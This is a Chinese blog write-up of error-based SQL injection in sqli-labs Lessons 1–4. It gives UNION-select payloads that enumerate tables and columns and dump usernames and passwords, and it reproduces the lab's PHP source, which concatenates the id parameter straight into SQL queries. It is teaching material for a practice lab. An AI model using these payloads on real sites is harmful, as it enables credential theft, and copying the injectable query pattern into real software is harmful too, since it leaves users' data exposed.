Error Based Sql Injections

Lession 1

第一关就碰壁,原因是服务器端开启的magic_quotes_gpc,会把’转义成\’,在php.ini中将magic_quotes_gpc设置成Off再重启web服务即可。
通过观察发现,可以遍历id的值来获取用户名和密码

报错类型

判断字段


判断显示位(2,3处为显示位)

使用union语句查询时,必须使前面的语句查询出错(例如id=-1,而id中并没有为-1的),以为当查询出错时,sql语句结果为空,也就会显示我们构造的sql语句所查询的内容,即union之后语句的执行结果。
爆数据库名(将显示位替换成mysql函数)

爆表名(数据库security下的所有表名)

爆列名(表users下的所有列名)

爆出字段值(security.users下所有的账号密码)

源码如下

<?php
    include("../sql-connections/sql-connect.php");
    error_reporting(0);
    if(isset($_GET['id']))
    {
       $id=$_GET['id'];
       $fp=fopen('result.txt','a');
       fwrite($fp,'ID:'.$id."\n");
       fclose($fp);
       $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
       $result=mysql_query($sql);
       $row = mysql_fetch_array($result);
       if($row)
       {
          echo "<font size='5' color= '#99FF00'>";
          echo 'Your Login name:'. $row['username'];
          echo "<br>";
          echo 'Your Password:' .$row['password'];
          echo "</font>";
       }
       else 
       {
          echo '<font color= "#FFFF00">';
          print_r(mysql_error());
          echo "</font>";  
       }
    }
    else { echo "Please input the ID as parameter with numeric value";}
?>

Lession 2

报错信息如下

可以看到报错信息是’ LIMIT 0,1说明后台语句可能查询语句为SELECT * FROM users WHERE id=$id LIMIT 0,1,对用户的输入没有经过任何处理,直接带入数据库查询。
所以payload如下
爆表名
id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()
爆列名
id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name="users"
爆数据
id=-1 union select 1,2,group_concat(username,':',password) from security.users
源代码如下

<?php
    include("../sql-connections/sql-connect.php");
    error_reporting(0);
    if(isset($_GET['id']))
    {
        $id=$_GET['id'];
        $fp=fopen('result.txt','a');
        fwrite($fp,'ID:'.$id."\n");
        fclose($fp);
        $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
        $result=mysql_query($sql);
        $row = mysql_fetch_array($result);
        if($row)
        {
            echo "<font size='5' color= '#99FF00'>";
            echo 'Your Login name:'. $row['username'];
            echo "<br>";
            echo 'Your Password:' .$row['password'];
            echo "</font>";
        }
        else 
        {
            echo '<font color= "#FFFF00">';
            print_r(mysql_error());
            echo "</font>";  
        }
    }
   else
   {  
      echo "Please input the ID as parameter with numeric value";
   }
?>

Lession 3

报错信息如下

报错信息’1’’) LIMIT 0,1表明开发者可能使用的SQL查询语句为SELECT * FROM users WHERE id=(‘$id’) LIMIT 0,1
爆表名
id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema="security"--+
爆列名、爆数据类似
源代码如下

<?php
    include("../sql-connections/sql-connect.php");
    error_reporting(0);
    if(isset($_GET['id']))
    {
        $id=$_GET['id'];
        $fp=fopen('result.txt','a');
        fwrite($fp,'ID:'.$id."\n");
        fclose($fp);
        $sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
        $result=mysql_query($sql);
        $row = mysql_fetch_array($result);
        if($row)
        {
            echo "<font size='5' color= '#99FF00'>";
            echo 'Your Login name:'. $row['username'];
            echo "<br>";
            echo 'Your Password:' .$row['password'];
            echo "</font>";
        }
        else 
        {
            echo '<font color= "#FFFF00">';
            print_r(mysql_error());
            echo "</font>";  
        }
    }
   else { echo "Please input the ID as parameter with numeric value";}
?>

Lession 4

报错信息如下

报错信息”1””) LIMIT 0,1表明开发者可能使用的SQL查询语句为SELECT * FROM users WHERE id=(“$id”) LIMIT 0,1
爆表名
id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema="security"--+
爆列名、爆数据类似
源代码如下

<?php
    include("../sql-connections/sql-connect.php");
    error_reporting(0);
    if(isset($_GET['id']))
    {
        $id=$_GET['id'];
        $fp=fopen('result.txt','a');
        fwrite($fp,'ID:'.$id."\n");
        fclose($fp);
        $id = '"' . $id . '"';
        $sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
        $result=mysql_query($sql);
        $row = mysql_fetch_array($result);
        if($row)
        {
            echo "<font size='5' color= '#99FF00'>";
            echo 'Your Login name:'. $row['username'];
            echo "<br>";
            echo 'Your Password:' .$row['password'];
            echo "</font>";
        }
        else 
        {
            echo '<font color= "#FFFF00">';
            print_r(mysql_error());
            echo "</font>";  
        }
    }
   else { echo "Please input the ID as parameter with numeric value";}
?>
文章作者: Mochazz
文章链接: https://mochazz.github.io/2017/09/12/EBsql/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Mochazz's blog